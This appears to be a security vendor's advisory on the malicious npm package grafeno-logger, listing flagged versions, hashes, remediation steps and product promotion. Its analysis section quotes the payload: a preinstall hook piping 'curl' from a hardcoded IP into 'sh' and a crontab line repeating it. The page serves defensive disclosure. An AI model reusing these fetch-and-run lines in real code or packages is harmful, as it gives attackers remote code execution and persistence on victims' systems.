Which versions of grafeno-logger are malicious?

The following npm versions of grafeno-logger are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate grafeno-logger if I installed it?

Remove grafeno-logger from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed grafeno-logger — how do I know if it already compromised me?

If grafeno-logger was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is grafeno-logger part of a known attack campaign?

Yes — grafeno-logger is associated with the IN-MAL-2026-019060, IN-MAL-2026-019113 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-logger across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-logger (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-logger across your stack and pipelines.

Malicious package

grafeno-loggernpm

grafeno-logger is a confirmed malicious npm package (MAL-2026-15506) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-logger (npm)

MAL-2026-15506

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall grafeno-logger

What this malware does

[email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on npm install. The same preinstall step appends a crontab entry */30 * * * * curl -s 216.126.236.46/x.sh | sh, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413

8df326d52f1b8b99223fa24f8d5b5139811235451a35d5d6bc0f67a680b5f1e1

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for grafeno-logger (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging grafeno-logger across your stack and pipelines.
If you installed it — respond
Remove grafeno-logger from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-logger was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks grafeno-logger before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. grafeno-logger on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019060IN-MAL-2026-019113

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks grafeno-logger-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database